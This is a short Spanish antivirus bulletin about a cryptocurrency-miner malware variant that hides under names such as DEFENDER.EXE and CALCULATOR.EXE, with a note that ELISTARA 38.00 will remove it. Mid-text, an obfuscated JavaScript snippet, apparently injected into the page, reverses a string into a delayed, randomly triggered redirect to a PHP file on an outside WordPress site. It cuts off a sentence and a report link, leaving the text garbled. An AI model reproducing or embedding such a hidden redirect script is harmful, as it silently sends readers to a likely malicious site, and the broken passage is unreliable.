NUEVO VARIANTE DE MALWARE DE CRIPTOMONEDAS RISKTOOL BITCOINMINER

Ahora que están de moda las criptomonedas, proliferan los “mineros”

A partir del ELISTARA 38.00 pasamos a controlar los ficheros malwareque intentan pasar desapercibidos por el nombre usado, en este caso DEFENDER.EXE y HOSTDL.EXE, CALCULATOR.EXE, si bien en variante anterior utilizaba el nombre de SVCHOST.EXE, variante que ya controlamos desde entonces. Dichos ficheros tienen atributo de oculto (+h) para no ser vistos a priori.

Tras su ejecución, queda residente.

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/62766a399be76b5e0450667145483e0a506a372a7268b6e21c30c01a74de2398/analysis/1512382383/” target=”_blank” rel=”noopener”>y para los nombres de calculator.exe y hostdl.exe este es el informe:

Dicha versión del ELISTARA 38.00 que los detecta y elimina, estará disponible en nuestra web a partir del 5/12 prox

saludos

ms, 4-12-2017